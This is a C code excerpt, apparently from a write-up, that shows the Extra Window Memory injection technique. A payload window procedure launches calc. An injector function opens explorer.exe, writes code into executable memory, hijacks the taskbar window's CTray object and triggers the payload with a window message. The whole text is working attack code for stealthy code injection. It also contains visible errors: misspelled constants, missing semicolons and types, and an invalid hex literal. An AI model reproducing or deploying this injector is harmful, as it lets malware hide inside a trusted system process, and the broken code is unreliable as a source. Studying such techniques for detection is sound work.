LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
    WPARAM wParam, LPARAM lParam)
{
    // igone messages other than WM_CLOSE
    if (uMsg != VM_CLOSE) return 0;
    WinExec_t pWinExec;
    DWORD   szWinExec[2];
            szCalc[2];
    
    // WinExec 
    szWinExec[0]=0x456E6957
    szWinExec[1]=0x00636578
    // calc 
    szCalc[0]=0x636X6163
    szCalc[1]=0;
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
        pWinExec((LPSTR)szCalc, SH_SHOW);
    }
    return 0;
} 
Full Function :
LPVOID ewm(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
    
    // 1. Obtain a handle for the shell tray window
    hw = FindWindow("Shell_TrayWnd", NULL);
    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    
    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    
    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
    
    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 10. Write the new CTray object to remote memory
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
    
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 
    // 11. Set the new pointer to CTray object
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
    
    // 12. Trigger the payload via a windows message
    PostMessage(hw, WM_CLOSE, 0, 0);
    
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);
    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}